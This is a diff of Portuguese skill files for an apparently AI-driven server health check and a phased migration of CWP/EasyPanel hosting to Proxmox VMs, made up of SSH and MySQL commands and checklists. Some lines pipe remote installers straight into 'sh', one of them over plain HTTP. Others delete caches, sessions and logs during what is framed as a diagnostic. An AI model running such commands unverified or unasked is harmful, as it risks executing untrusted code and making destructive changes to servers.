*Gerado via /server-health v2.0 | Descomplicar®*
```
**Instruções de Implementação:**
1. Executar comandos em paralelo quando possível (mcp__ssh-unified__ssh_execute)
2. Calcular health score: (checks OK / total checks) × 100
3. Gerar alertas baseados em thresholds
4. Agrupar recomendações por urgência
5. Incluir troubleshooting específico para cada problema detectado
---
## Thresholds de Alertas
| Métrica | ✅ OK | ⚠️ Warning | ❌ Critical |
|---------|-------|------------|-------------|
| Metrica | OK | Warning | Critical |
|---------|-----|---------|----------|
| **Load (1m)** | <2 | 2-5 | >5 |
| **RAM** | <70% | 70-85% | >85% |
| **Swap** | <10% | 10-30% | >30% |
@@ -483,197 +108,56 @@ chown -R USER:USER /home/USER/public_html/wp-content
---
## Comandos SSH Específicos
## Template de output
### Verificação Rápida (Quick Mode)
```bash
# Uma linha com todas as métricas críticas
echo "=== QUICK HEALTH ===" && \
uptime && \
free -h | grep Mem && \
df -h | grep -E '^/dev/vda|Filesystem' && \
mysqladmin status 2>&1 | head -1 && \
systemctl is-active httpd nginx mysql
```
Ver template completo em `references/commands.md` (seccao Template de Output).
### MySQL Deep Dive
```bash
# Optimizar todas as BDs
mysqlcheck --optimize --all-databases
# Limpar logs binários antigos (>7 dias)
mysql -e "PURGE BINARY LOGS BEFORE DATE_SUB(NOW(), INTERVAL 7 DAY);"
# Verificar fragmentação de tabelas
mysql -e "SELECT table_schema, table_name,
ROUND(data_length/1024/1024,2) as data_mb,
ROUND(data_free/1024/1024,2) as free_mb
FROM information_schema.TABLES
WHERE data_free > 0
ORDER BY data_free DESC
LIMIT 10;"
```
### Limpeza de Cache/Temp
```bash
# Limpar cache WordPress (todos os sites)
find /home/*/public_html/wp-content/cache -type f -delete
# Limpar sessions PHP antigas
find /var/lib/php/session -type f -mtime +7 -delete
# Limpar logs Apache/Nginx >30 dias
find /home/*/logs -name "*.log" -mtime +30 -delete
```
Inclui:
- Resumo executivo com tabela de metricas e health score
- Alertas criticos e warnings
- Detalhes por seccao (sistema, MySQL, web, PHP, SSL, seguranca, sites WP)
- Recomendacoes priorizadas (urgente, importante, melhorias)
---
## Integração com MCPs
## Instrucoes de implementacao
```javascript
// Executar diagnóstico completo
async function serverHealthCheck() {
// 1. Sistema (paralelo)
const systemChecks = await Promise.all([
mcp__ssh-unified__ssh_execute({server: "server", command: "uptime"}),
mcp__ssh-unified__ssh_execute({server: "server", command: "free -h"}),
mcp__ssh-unified__ssh_execute({server: "server", command: "df -h"}),
mcp__ssh-unified__ssh_execute({server: "server", command: "top -bn1 | head -20"})
]);
// 2. MySQL
const mysqlStatus = await mcp__ssh-unified__ssh_execute({
server: "server",
command: "mysqladmin status && mysql -e \"SHOW GLOBAL STATUS LIKE 'Threads%';\""
});
// 3. SSL
const sslCheck = await mcp__ssh-unified__ssh_execute({
server: "server",
command: "for d in $(ls /root/.acme.sh/cwp_certs/); do echo \"=== $d ===\"; grep Le_NextRenewTimeStr /root/.acme.sh/cwp_certs/$d/*.conf 2>/dev/null; done"
});
// Processar e gerar report
return processHealthData(systemChecks, mysqlStatus, sslCheck);
}
```
1. Executar comandos em paralelo quando possivel (mcp__ssh-unified__ssh_execute)
2. Calcular health score: (checks OK / total checks) x 100
3. Gerar alertas baseados em thresholds
4. Agrupar recomendacoes por urgencia
5. Incluir troubleshooting especifico para cada problema detectado
---
## Anti-Patterns
## Anti-patterns
| Anti-Pattern | Problema | Solução Correcta |
|--------------|----------|------------------|
| Assumir SSH como root | Pode falhar | Verificar permissões primeiro |
| Executar comandos sequenciais | Lento | Paralelo quando possível |
| Anti-pattern | Problema | Solucao |
|--------------|----------|---------|
| Assumir SSH como root | Pode falhar | Verificar permissoes primeiro |
| Executar comandos sequenciais | Lento | Paralelo quando possivel |
| Ignorar exit codes | Falhas silenciosas | Validar cada comando |
| Não limpar recursos temp | Consume espaço | Limpeza em cada audit |
| Não documentar problemas | Sem histórico | Gravar em Desk/Obsidian |
| Nao limpar recursos temp | Consume espaco | Limpeza em cada audit |
| Nao documentar problemas | Sem historico | Gravar em Desk/Obsidian |
---
## Checklist de Execução
## Checklist de execucao
- [ ] SSH conecta (testar `whoami`)
- [ ] Todas as métricas recolhidas (sistema, mysql, web, ssl)
- [ ] Todas as metricas recolhidas (sistema, mysql, web, ssl)
- [ ] Thresholds aplicados (calcular status)
- [ ] Health score calculado
- [ ] Alertas gerados (crítico/warning)
- [ ] Recomendações priorizadas
- [ ] Troubleshooting incluído
- [ ] Alertas gerados (critico/warning)
- [ ] Recomendacoes priorizadas
- [ ] Troubleshooting incluido
- [ ] Report formatado (Markdown)
- [ ] Opcional: Gravar em Desk ou Obsidian
- [ ] Opcional: gravar em Desk ou Obsidian
---
## Datasets Dify (Consulta Obrigatória)
## Ficheiros de referencia
Antes de executar diagnóstico complexo ou para troubleshooting específico:
| Dataset | ID | Uso |
|---------|----|----|
| **TI (Tecnologia da Informação)** | `7f63ec0c-6321-488c-b107-980140199850` | Diagnósticos gerais |
| **Linux** | `bde4eddd-4618-402c-8bfb-bb947ed9219d` | Comandos específicos |
| **CWP Centos Web Panel** | `b2a4d2c5-fe55-412c-bc28-74dbd611905d` | Configurações CWP |
**Consultar quando:**
- Problema não coberto por este guia
- Optimização específica de serviço
- Troubleshooting de erro desconhecido
- Configuração avançada CWP/MySQL/Nginx
```javascript
// Exemplo: pesquisar optimização MySQL
mcp__notebooklm__notebook_query, mcp__dify-kb__dify_kb_retrieve_segments({
dataset_id: "7f63ec0c-6321-488c-b107-980140199850",
query: "mysql slow query optimization innodb tuning",
top_k: 3
})
```
---
## Changelog
### v2.0.0 (2026-02-03)
- **ENHANCED:** Workflows detalhados para cada passo
- Modos de execução (quick, mysql, ssl, sites)
- Template de output completo com troubleshooting
- Thresholds documentados
- Comandos SSH específicos
- Health score calculation
- Integração MCPs documentada
- Anti-patterns identificados
- Checklist de execução
### v1.0.0 (2026-01-30)
- Versão inicial
- Diagnóstico: Sistema, MySQL, Web, PHP, SSL, Segurança
- Thresholds definidos
- Output template markdown
---
**Versão:** 2.0.0 | **Autor:** Descomplicar®
**Última actualização:** 2026-02-03 (Workflows completos + Troubleshooting)
---
## Quando NÃO Usar
- Para tarefas fora do domínio de especialização desta skill
- Quando outra skill mais específica está disponível
- Para operações que requerem aprovação manual obrigatória
- Quando os requisitos não estão claramente definidos
## Exemplos de Uso
### Exemplo 1: Caso Básico
```
User: [requisição simples relacionada com server-health]
Skill: [execução directa com validação]
Output: [resultado conciso e accionável]
```
### Exemplo 2: Caso Complexo
```
User: [requisição multi-passo ou complexa]
Skill:
1. Análise dos requisitos
2. Planeamento da abordagem
3. Execução faseada
4. Validação contínua
Output: [resultado detalhado com próximos passos]
```
### Exemplo 3: Caso com Dependências
```
User: [requisição que depende de outros sistemas]
Skill:
1. Verificar dependências disponíveis
2. Coordenar com skills/MCPs necessários
3. Executar workflow integrado
Output: [resultado completo com referências]
```
| Ficheiro | Conteudo |
|----------|----------|
| [references/commands.md](references/commands.md) | Comandos SSH por passo, queries MySQL, quick mode, deep dive, limpeza cache, template output, troubleshooting |

View File

@@ -0,0 +1,232 @@
# /server-health - Comandos SSH e Template de Output
## Comandos por Passo
### Passo 1: Sistema
```bash
uptime
free -h
df -h
top -bn1 | head -20
cat /proc/loadavg
vmstat 1 3
ps aux | grep -E 'httpd|mysql|nginx' | grep -v grep
```
**Validação:**
- Load 1min <2: OK | 2-5: Warning | >5: Critical
- RAM <70%: OK | Swap >10%: Investigar
### Passo 2: MySQL
```bash
mysqladmin status
mysqladmin processlist | head -20
mysql -e "SHOW GLOBAL STATUS LIKE 'Threads%';"
mysql -e "SHOW GLOBAL STATUS LIKE 'Slow_queries';"
mysql -e "SELECT table_schema, ROUND(SUM(data_length + index_length) / 1024 / 1024, 2) AS 'Size (MB)' FROM information_schema.TABLES GROUP BY table_schema ORDER BY SUM(data_length + index_length) DESC LIMIT 10;"
mysqlcheck --all-databases --check
```
**Queries Críticas:**
```sql
-- Ver queries lentas em execução
SELECT id, user, host, db, command, time, state, LEFT(info, 100) as query
FROM information_schema.PROCESSLIST
WHERE command != 'Sleep' AND time > 5
ORDER BY time DESC;
-- BDs maiores que 500MB
SELECT table_schema, ROUND(SUM(data_length + index_length) / 1024 / 1024, 2) AS size_mb
FROM information_schema.TABLES
GROUP BY table_schema
HAVING size_mb > 500
ORDER BY size_mb DESC;
```
### Passo 3: Web Servers
```bash
systemctl status httpd --no-pager | head -15
systemctl status nginx --no-pager | head -15
curl -sI localhost | head -10
curl -sI -H 'Accept-Encoding: gzip' localhost | grep -i encoding
netstat -an | grep :80 | wc -l
netstat -an | grep :443 | wc -l
httpd -S 2>&1 | grep -E 'port|namevhost' | head -20
```
### Passo 4: PHP
```bash
php -v | head -1
php -i | grep memory_limit
php -i | grep -E 'opcache.enable|opcache.memory_consumption'
ps aux | grep php-fpm | wc -l
```
### Passo 5: SSL/Certificados
```bash
ls -lh /root/.acme.sh/cwp_certs/
for d in $(ls /root/.acme.sh/cwp_certs/); do
echo "=== $d ==="
grep -E 'Le_NextRenewTimeStr|Le_Alt' /root/.acme.sh/cwp_certs/$d/*.conf 2>/dev/null | head -3
done
echo | openssl s_client -connect DOMINIO:443 2>/dev/null | openssl x509 -noout -dates -subject
tail -100 /root/.acme.sh/acme.sh.log | grep -E 'Renew|error|success'
```
**Validação SSL:**
- Renovação >30 dias: OK | 15-30 dias: Avisar | <15 dias: Urgente
### Passo 6: Segurança
```bash
systemctl status fail2ban --no-pager 2>/dev/null
fail2ban-client status 2>/dev/null | head -10
fail2ban-client status sshd 2>/dev/null | grep "Banned IP"
netstat -tlnp | grep LISTEN | head -20
last -10
grep "Failed password" /var/log/secure | tail -20
systemctl status firewalld --no-pager || iptables -L -n | head -20
```
### Passo 7: Sites WordPress
```bash
for dir in /home/*/public_html; do
if [ -f "$dir/wp-config.php" ]; then
domain=$(basename $(dirname $dir))
echo "=== $domain ==="
grep "wp_version = " $dir/wp-includes/version.php | head -1
du -sh $dir/wp-content
curl -sI "http://$domain" | head -3
fi
done
```
---
## Verificação Rápida (Quick Mode)
```bash
echo "=== QUICK HEALTH ===" && \
uptime && \
free -h | grep Mem && \
df -h | grep -E '^/dev/vda|Filesystem' && \
mysqladmin status 2>&1 | head -1 && \
systemctl is-active httpd nginx mysql
```
---
## MySQL Deep Dive
```bash
# Optimizar todas as BDs
mysqlcheck --optimize --all-databases
# Limpar logs binários antigos (>7 dias)
mysql -e "PURGE BINARY LOGS BEFORE DATE_SUB(NOW(), INTERVAL 7 DAY);"
# Verificar fragmentação
mysql -e "SELECT table_schema, table_name,
ROUND(data_length/1024/1024,2) as data_mb,
ROUND(data_free/1024/1024,2) as free_mb
FROM information_schema.TABLES
WHERE data_free > 0
ORDER BY data_free DESC LIMIT 10;"
```
---
## Limpeza de Cache/Temp
```bash
# Limpar cache WordPress
find /home/*/public_html/wp-content/cache -type f -delete
# Limpar sessions PHP antigas
find /var/lib/php/session -type f -mtime +7 -delete
# Limpar logs Apache/Nginx >30 dias
find /home/*/logs -name "*.log" -mtime +30 -delete
```
---
## Template de Output
```markdown
# Server Health Report - YYYY-MM-DD HH:MM
## Resumo Executivo
| Métrica | Valor | Status | Limite |
|---------|-------|--------|--------|
| Load (1m) | X.XX | OK/Warn/Crit | <2 |
| RAM Usada | XX% | OK/Warn/Crit | <70% |
| Swap Usado | XX% | OK/Warn/Crit | <10% |
| Disco / | XX% | OK/Warn/Crit | <70% |
| MySQL Threads | XX | OK/Warn/Crit | <50 |
| Sites WP OK | XX/YY | OK/Warn/Crit | 100% |
| SSL Expiring | XX | OK/Warn/Crit | 0 |
**Health Score:** XX/100
---
## Alertas Críticos
> CRÍTICO: Load >5 há 10 minutos
> ATENÇÃO: Certificado SSL solarfv360.pt expira em 12 dias
---
## Recomendações Prioritárias
### URGENTE (Hoje)
1. Reduzir uso de Swap (45%)
2. Renovar SSL solarfv360.pt
### IMPORTANTE (Esta Semana)
3. Optimizar queries lentas MySQL
### MELHORIAS (Mês)
4. Configurar alertas automáticos
```
---
## Troubleshooting
### Swap Alto (>30%)
```bash
ps aux --sort=-%mem | head -10
swapoff -a && swapon -a
```
### Load Alto (>5)
```bash
ps aux --sort=-%cpu | head -10
iostat -x 1 5
top -bn1 | head -20
```
### MySQL Lento
```bash
mysqladmin processlist
tail -50 /var/log/mysql/slow.log
mysqlcheck --optimize --all-databases
```
### Sites WordPress com Erro
```bash
tail -100 /home/USER/logs/error.log
ls -lh /home/USER/public_html/wp-content
chown -R USER:USER /home/USER/public_html/wp-content
```

View File

@@ -1,30 +1,24 @@
---
name: vm-migration
description: Migração zero-downtime de workloads CWP/EasyPanel para Proxmox VMs seguindo Migration-Plan-OptionA. Use when user mentions "migrate to proxmox", "cwp migration", "easypanel migration", "workload migration".
author: Descomplicar® Crescimento Digital
version: 1.0.0
quality_score: 75
user_invocable: true
desk_task: 1712
allowed-tools: Task, Read, Bash
dependencies:
- ssh-unified
- notebooklm
- proxmox-setup
- pbs-config
description: Migracao zero-downtime de workloads CWP e EasyPanel para VMs Proxmox com safety nets e rollback procedures.
---
# VM Migration
Migração zero-downtime de workloads CWP e EasyPanel para Proxmox VMs seguindo Migration-Plan-OptionA com safety nets e rollback procedures.
Migracao zero-downtime de workloads CWP e EasyPanel para Proxmox VMs seguindo Migration-Plan-OptionA com safety nets e rollback procedures.
## Quando Usar
- Migrar servidores CWP para VMs Proxmox
- Migrar containers EasyPanel para VMs Proxmox
- Executar Migration-Plan-OptionA (3 fases)
- Migração phased com validation periods
- Zero-downtime para clientes production
- Migracao phased com validation periods
## Quando Nao Usar
- Migracoes non-CWP/EasyPanel (criar plan especifico)
- Ambientes teste/dev (menos rigor)
- Single-server setups (nao cluster)
## Sintaxe
@@ -41,74 +35,70 @@ Migração zero-downtime de workloads CWP e EasyPanel para Proxmox VMs seguindo
# Fase 2: CWP migration com 7 dias validation
/vm-migration cwp server.descomplicar.pt --phase 2 --validate-days 7
# Fase 3: Apenas confirmar (sem migração)
# Fase 3: Apenas confirmar (sem migracao)
/vm-migration finalize --phase 3
```
---
## Knowledge Sources (Consultar SEMPRE)
### NotebookLM Proxmox Research
```bash
mcp__notebooklm__notebook_query \
notebook_id:"276ccdde-6b95-42a3-ad96-4e64d64c8d52" \
query:"proxmox migration cwp easypanel docker lxc zero downtime"
```
### Hub Docs
- Hub/05-Projectos/Cluster Descomplicar/Planning/Migration-Plan-OptionA.md
- Fase 1: EasyPanel (Week 1-2)
- Fase 2: CWP (Week 3-6, 7 dias validation)
- Fase 3: Cluster + cleanup (Week 7-8)
Hub Docs: `Hub/05-Projectos/Cluster Descomplicar/Planning/Migration-Plan-OptionA.md`
---
## Migration-Plan-OptionA Overview
**Timeline:** 8 semanas
**Strategy:** Phased migration com safety nets
**Rollback:** Disponível em cada fase
**Timeline:** 8 semanas | **Strategy:** Phased migration com safety nets | **Rollback:** Disponivel em cada fase
```
Week 1-2: FASE 1 - EasyPanel Migration
├── Backup EasyPanel PBS
├── Create Docker VM Proxmox
├── Migrate containers (batch 5-10)
├── DNS cutover gradual
└── Validation + Rollback window
+-- Backup EasyPanel -> PBS
+-- Create Docker VM Proxmox
+-- Migrate containers (batch 5-10)
+-- DNS cutover gradual
+-- Validation + Rollback window
Week 3-6: FASE 2 - CWP Migration
├── 7 dias safety net (server intacto)
├── Create AlmaLinux 8 VM
├── Migrate CWP accounts (batch)
├── Validate sites + email
├── DNS cutover (TTL 300s)
└── Rollback até Day 7
+-- 7 dias safety net (server intacto)
+-- Create AlmaLinux 8 VM
+-- Migrate CWP accounts (batch)
+-- Validate sites + email
+-- DNS cutover (TTL 300s)
+-- Rollback ate Day 7
Week 7-8: FASE 3 - Cluster Formation
├── Prepare server.descomplicar.pt as Node A
├── Form cluster (pvecm)
├── Configure HA groups
├── Live migration tests
└── Cleanup legacy servers
+-- Prepare server.descomplicar.pt as Node A
+-- Form cluster (pvecm)
+-- Configure HA groups
+-- Live migration tests
+-- Cleanup legacy servers
```
## Workflow Completo
---
### PRE-MIGRATION (Todas Fases)
## Workflow Pre-Migration (Todas Fases)
### 1. Backup Strategy Validation
**1. Backup Strategy Validation**
```bash
# Verificar PBS configurado
pvesm status | grep pbs
# Criar backup point actual
vzdump --storage pbs-main --all 1 --mode snapshot
# Verificar 3-2-1 compliance:
# - Original: source server
# - Backup 1: PBS Node B
# - Backup 2: PBS Node A remote sync (ou VPS backup)
```
**2. Documentar Estado Actual**
Garantir 3-2-1 compliance: original + PBS Node B + PBS Node A remote sync.
### 2. Documentar Estado Actual
```bash
# CWP: Listar contas
/scripts/list_accounts > /tmp/cwp-accounts.txt
@@ -117,455 +107,51 @@ vzdump --storage pbs-main --all 1 --mode snapshot
curl -s http://localhost:3000/api/trpc/projects.list | jq > /tmp/easypanel-services.json
# DNS TTLs (baixar para 300s ANTES de migration)
# Verificar em: dns.descomplicar.pt ou Cloudflare
```
**3. Comunicar Clientes (se downtime esperado)**
### 3. Comunicar Clientes (se downtime esperado)
- Email 48h antes
- Status page update
- Janela de manutenção agendada
- Janela de manutencao agendada
---
### FASE 1: EasyPanel Migration (Week 1-2)
## Fases Detalhadas
**Target:** Migrar 108 containers Docker para VM Proxmox
**1.1 Criar VM Docker Host**
```bash
# Via Proxmox CLI
qm create 200 \
--name easypanel-docker \
--memory 32768 \
--cores 8 \
--net0 virtio,bridge=vmbr0 \
--scsi0 rpool/vm-disks:200 \
--ostype l26 \
--boot order=scsi0
# Install Ubuntu 24.04 LTS
# Via Cloud-Init ou ISO manual
```
**1.2 Instalar Docker + EasyPanel**
```bash
# SSH to VM
ssh root@10.10.10.200
# Docker
curl -fsSL https://get.docker.com | sh
# EasyPanel
curl -sSL https://get.easypanel.io | sh
```
**1.3 Backup Containers Actuais**
```bash
# Em easy.descomplicar.pt
# Backup docker volumes
tar -czf /tmp/easypanel-volumes.tar.gz /var/lib/easypanel/projects
# Transfer para PBS ou storage temporário
scp /tmp/easypanel-volumes.tar.gz root@cluster.descomplicar.pt:/mnt/migration/
```
**1.4 Migrar Containers (Batch 5-10)**
**Batch 1 (não-críticos para teste):**
```bash
# Containers teste: dev environments, staging
# IDs: 1-5
# Por cada container:
1. Exportar env vars do EasyPanel
2. Exportar docker-compose.yml
3. Copiar volumes
4. Recriar em novo EasyPanel
5. Testar health endpoint
6. DNS cutover se OK
```
**Workflow Batch:**
```bash
# Script semi-automatizado
for container_id in 1 2 3 4 5; do
# Export config
curl -s http://easy.descomplicar.pt:3000/api/trpc/services.get \
-d "serviceId=$container_id" > config_$container_id.json
# Copiar volumes
rsync -avz /var/lib/easypanel/projects/$container_id/ \
root@10.10.10.200:/var/lib/easypanel/projects/$container_id/
# Recriar service (via EasyPanel API ou UI)
# Test
curl -I http://10.10.10.200:PORT/health
# DNS cutover (se health OK)
# Actualizar DNS para apontar para 10.10.10.200 (via NAT port forward)
done
```
**1.5 Validation (24-48h por batch)**
```bash
# Monitoring:
- Uptime checks (UptimeRobot ou similar)
- Error rates (logs)
- Performance (response time <500ms)
- Cliente feedback
# Rollback triggers:
- >2 containers falham consecutivamente
- Cliente reporta down
- Health checks fail >10min
```
**1.6 DNS Cutover**
```bash
# Baixar TTL para 300s (5min) 24h ANTES
# Ex: Cloudflare ou dns.descomplicar.pt
# Cutover:
A record: old-ip → NAT port forward para 10.10.10.200:PORT
# Monitorizar por 1h
# Reverter se problemas
```
**1.7 Rollback Procedure (se necessário)**
```bash
# Reverter DNS (TTL 300s = 5min propagação)
# Reactivar container antigo
# Investigar causa falha
# Re-tentar após fix
```
**Batch 2-N:** Repetir até 108 containers migrados.
| Fase | Detalhes | Referencia |
|------|----------|------------|
| Fase 1: EasyPanel (Week 1-2) | 108 containers Docker -> VM Proxmox | [references/fase1-easypanel.md](references/fase1-easypanel.md) |
| Fase 2: CWP (Week 3-6) | 39 vhosts CWP -> VM AlmaLinux 8 | [references/fase2-cwp.md](references/fase2-cwp.md) |
| Fase 3: Cluster (Week 7-8) | 2-node cluster, HA, cleanup | [references/fase3-cluster.md](references/fase3-cluster.md) |
| Troubleshooting | Problemas comuns e resolucao | [references/troubleshooting.md](references/troubleshooting.md) |
---
### FASE 2: CWP Migration (Week 3-6)
## Backup Strategy Resumo
**Target:** Migrar 39 vhosts CWP para VM AlmaLinux 8
**CRITICAL:** 7 dias safety net - server.descomplicar.pt intacto
**2.1 Criar VM AlmaLinux 8 + CWP**
```bash
qm create 300 \
--name cwp-legacy \
--memory 16384 \
--cores 6 \
--net0 virtio,bridge=vmbr0 \
--scsi0 rpool/vm-disks:150 \
--ostype l26
# Instalar AlmaLinux 8
# Instalar CWP7
wget http://centos-webpanel.com/cwp-el8-latest
sh cwp-el8-latest
```
**2.2 Backup CWP Accounts**
```bash
# Em server.descomplicar.pt
for account in $(cat /tmp/cwp-accounts.txt); do
/scripts/pkgacct $account
done
# Transfer backups
rsync -avz /home/backup-*/cpmove-*.tar.gz \
root@cluster.descomplicar.pt:/mnt/migration/cwp/
```
**2.3 Migrar Contas (Batch 3-5 contas)**
**Workflow por conta:**
```bash
# 1. Restore backup em VM CWP
scp /mnt/migration/cwp/cpmove-ACCOUNT.tar.gz root@10.10.10.300:/home/
# 2. Restore via CWP
/scripts/restorepkg ACCOUNT
# 3. Validar:
- Site carrega (HTTP 200)
- Database conecta
- Email funciona (send test)
- SSL certificado válido
# 4. DNS cutover (TTL 300s)
A record: site.com → 10.10.10.300 (via NAT port forward)
# 5. Monitorizar 24h
```
**2.4 Validation Period (7 dias)**
```bash
# Days 1-7 após migration:
- Server antigo (server.descomplicar.pt) INTACTO
- Rollback instantâneo se problema critical
- Cliente pode reverter DNS manualmente se necessário
# Day 7: Confirmar com Emanuel
# Se tudo OK → proceder cleanup
# Se problemas → extend validation ou rollback completo
```
**2.5 Email Migration**
```bash
# Por cada conta CWP:
# 1. Backup mailboxes
tar -czf /tmp/mail-ACCOUNT.tar.gz /home/ACCOUNT/mail/
# 2. Transfer
scp /tmp/mail-ACCOUNT.tar.gz root@10.10.10.300:/tmp/
# 3. Restore
cd /home/ACCOUNT/
tar -xzf /tmp/mail-ACCOUNT.tar.gz
# 4. Fix permissions
chown -R ACCOUNT:ACCOUNT /home/ACCOUNT/mail/
# 5. Testar IMAP/SMTP
telnet localhost 143 # IMAP
telnet localhost 25 # SMTP
```
**2.6 Rollback Procedure (Fase 2)**
```bash
# Disponível até Day 7
# 1. Reverter DNS (todos sites)
A records → IP antigo (server.descomplicar.pt)
# 2. Verificar server antigo online
ping server.descomplicar.pt
# 3. Comunicar clientes
# 4. Analisar causa falha
# 5. Ajustar plan e re-tentar
```
| Fase | Locais Backup | RPO | RTO |
|------|---------------|-----|-----|
| Fase 1 | Original + PBS + VPS | 1h | 2-4h |
| Fase 2 | Server intacto + PBS + /mnt/migration/ | 1h | 2-4h |
| Fase 3 | Node A + Node B + PBS dual | 1h | 2-4h |
---
### FASE 3: Cluster Formation (Week 7-8)
## Anti-Patterns
**Target:** Formar cluster 2-node, HA, cleanup
**3.1 Preparar server.descomplicar.pt como Node A**
```bash
# APENAS após Fase 2 100% validada
# Backup final completo
tar -czf /tmp/final-backup-server.tar.gz /etc /home /var/www
# Reformatar com Proxmox (/proxmox-setup)
# Tornar Node A do cluster
```
**3.2 Cluster Formation**
```bash
# Usar skill /proxmox-cluster (criada a seguir)
/proxmox-cluster create --node-a server.descomplicar.pt --node-b cluster.descomplicar.pt
```
**3.3 HA Configuration**
```bash
# Usar skill /proxmox-ha (criada a seguir)
/proxmox-ha configure --critical-vms 200,300
```
**3.4 Cleanup**
```bash
# Cancelar easy.descomplicar.pt VPS (após validação)
# Backup final de tudo
# Documentar nova arquitectura
```
| Anti-Pattern | Risco | Alternativa |
|--------------|-------|-------------|
| Migrar tudo de uma vez | Downtime total | Batches de 5-10 |
| Nao baixar TTL antes | DNS lento a propagar | TTL 300s 24h antes |
| Apagar server antigo cedo | Sem rollback | Manter 7 dias |
| Sem backup pre-migration | Perda dados | vzdump + 3-2-1 |
---
## Backup Strategy Durante Migration
### Fase 1 (EasyPanel)
**3 locais:**
1. Containers em easy.descomplicar.pt (original)
2. PBS Node B backup
3. easy.descomplicar.pt VPS backup (mantido durante Fase 1)
### Fase 2 (CWP)
**Safety net 7 dias:**
1. Server antigo intacto (rollback rápido)
2. VM CWP → PBS backups automáticos
3. Backups manuais /mnt/migration/
**RPO:** 1h (PBS backups hourly se critical)
**RTO:** 2-4h (restore + DNS propagation)
### Fase 3 (Cluster)
**Redundância completa:**
1. VMs em Node A + Node B
2. PBS primary (Node B 16TB)
3. PBS secondary remote sync (Node A 12TB)
## Output Summary (Por Fase)
### Fase 1 Complete:
```
✅ EasyPanel migrado: 108 containers
📦 Containers:
- Migrados: 108/108
- Falhas: 0
- Rollbacks: 0
- Downtime médio: <2min por container
🎯 Validation:
- Health checks: 100% OK
- Cliente feedback: 0 issues
- Performance: <500ms avg response
🔄 DNS Cutover:
- TTL: 300s (5min)
- Domains migrados: ALL
- Rollback window: 7 dias
📋 Next: Fase 2 (CWP migration)
```
### Fase 2 Complete:
```
✅ CWP migrado: 39 vhosts
🌐 Sites:
- Migrados: 39/39
- HTTP 200: 100%
- SSL válido: 100%
- Email funcional: 100%
⏱️ Timeline:
- Week 3-6: Migration
- Day 1-7: Validation period
- Day 8: Cleanup (se OK)
🔒 Safety Net:
- Server antigo: ONLINE (Day 1-7)
- Rollback: Disponível (DNS reverter)
- Backups: 3 locais
📋 Next: Fase 3 (Cluster formation)
```
### Fase 3 Complete:
```
✅ Cluster Proxmox formado: 2 nodes
🖥️ Nodes:
- Node A: server.descomplicar.pt (reformatado)
- Node B: cluster.descomplicar.pt
- Quorum: 2 votes
🔄 HA:
- Critical VMs: 200, 300
- Failover: Automatic
- Live migration: Enabled
💾 PBS Redundancy:
- Primary: Node B (16TB)
- Secondary: Node A (12TB) remote sync
- RPO: 1h | RTO: 2-4h
🎉 Migration Complete:
- Total time: 8 weeks
- Downtime: <5min total
- Issues: 0 critical
- Cliente satisfaction: HIGH
📋 Post-Migration:
- Monitor por 30 dias
- Documentar em PROC-VM-Migration.md
- Cancelar VPS legacy
- Treino equipa Proxmox
```
## Troubleshooting
### Container migration fails
```bash
# Verificar logs
docker logs CONTAINER_ID
# Verificar volumes
ls -lah /var/lib/easypanel/projects/PROJECT/
# Testar manual
docker-compose up -d
# Rollback e investigar
```
### CWP site não carrega após migration
```bash
# Verificar Apache
systemctl status httpd
# Verificar vhost
cat /usr/local/apache/conf.d/vhosts/DOMAIN.conf
# Verificar database
mysql -u USER -p DATABASE
# Verificar DNS propagation
dig +short DOMAIN @8.8.8.8
```
### Email não funciona
```bash
# Verificar Postfix
systemctl status postfix
# Testar SMTP
telnet localhost 25
# Verificar DNS MX
dig +short MX DOMAIN
# Verificar logs
tail -f /var/log/maillog
```
## References
- **Migration Plan:** Hub/05-Projectos/Cluster Descomplicar/Planning/Migration-Plan-OptionA.md
- **NotebookLM:** 276ccdde-6b95-42a3-ad96-4e64d64c8d52
- **Guia Hub:** Guia-Definitivo-Proxmox-Hetzner.md (Módulo 4: Workloads)
---
**Versão:** 1.0.0 | **Autor:** Descomplicar® | **Data:** 2026-02-14
## Metadata (Desk CRM Task #1712)
```
Projeto: Cluster Proxmox Descomplicar (#65)
Tarefa: Migração Infraestrutura (#1712)
Tags: migration, cwp, easypanel, zero-downtime, phased
Status: Implementation
```
---
**/** @author Descomplicar® | @link descomplicar.pt | @copyright 2026 **/
---
## Quando NÃO Usar
- Para migrações non-CWP/EasyPanel (criar plan específico)
- Para teste/dev environments (menos rigor)
- Para single-server setups (não cluster)
- **Guia Hub:** Guia-Definitivo-Proxmox-Hetzner.md (Modulo 4: Workloads)
- **Desk CRM:** Projecto #65, Tarefa #1712

View File

@@ -0,0 +1,118 @@
# Fase 1: EasyPanel Migration (Week 1-2)
Target: Migrar 108 containers Docker para VM Proxmox
## 1.1 Criar VM Docker Host
```bash
qm create 200 \
--name easypanel-docker \
--memory 32768 \
--cores 8 \
--net0 virtio,bridge=vmbr0 \
--scsi0 rpool/vm-disks:200 \
--ostype l26 \
--boot order=scsi0
# Install Ubuntu 24.04 LTS
# Via Cloud-Init ou ISO manual
```
## 1.2 Instalar Docker + EasyPanel
```bash
ssh root@10.10.10.200
# Docker
curl -fsSL https://get.docker.com | sh
# EasyPanel
curl -sSL https://get.easypanel.io | sh
```
## 1.3 Backup Containers Actuais
```bash
# Em easy.descomplicar.pt
tar -czf /tmp/easypanel-volumes.tar.gz /var/lib/easypanel/projects
# Transfer para PBS ou storage temporario
scp /tmp/easypanel-volumes.tar.gz root@cluster.descomplicar.pt:/mnt/migration/
```
## 1.4 Migrar Containers (Batch 5-10)
Batch 1 (nao-criticos para teste):
```bash
# Containers teste: dev environments, staging
# IDs: 1-5
# Por cada container:
1. Exportar env vars do EasyPanel
2. Exportar docker-compose.yml
3. Copiar volumes
4. Recriar em novo EasyPanel
5. Testar health endpoint
6. DNS cutover se OK
```
Workflow Batch:
```bash
for container_id in 1 2 3 4 5; do
# Export config
curl -s http://easy.descomplicar.pt:3000/api/trpc/services.get \
-d "serviceId=$container_id" > config_$container_id.json
# Copiar volumes
rsync -avz /var/lib/easypanel/projects/$container_id/ \
root@10.10.10.200:/var/lib/easypanel/projects/$container_id/
# Recriar service (via EasyPanel API ou UI)
# Test
curl -I http://10.10.10.200:PORT/health
# DNS cutover (se health OK)
done
```
## 1.5 Validation (24-48h por batch)
```
Monitoring:
- Uptime checks (UptimeRobot ou similar)
- Error rates (logs)
- Performance (response time <500ms)
- Cliente feedback
Rollback triggers:
- >2 containers falham consecutivamente
- Cliente reporta down
- Health checks fail >10min
```
## 1.6 DNS Cutover
```bash
# Baixar TTL para 300s (5min) 24h ANTES
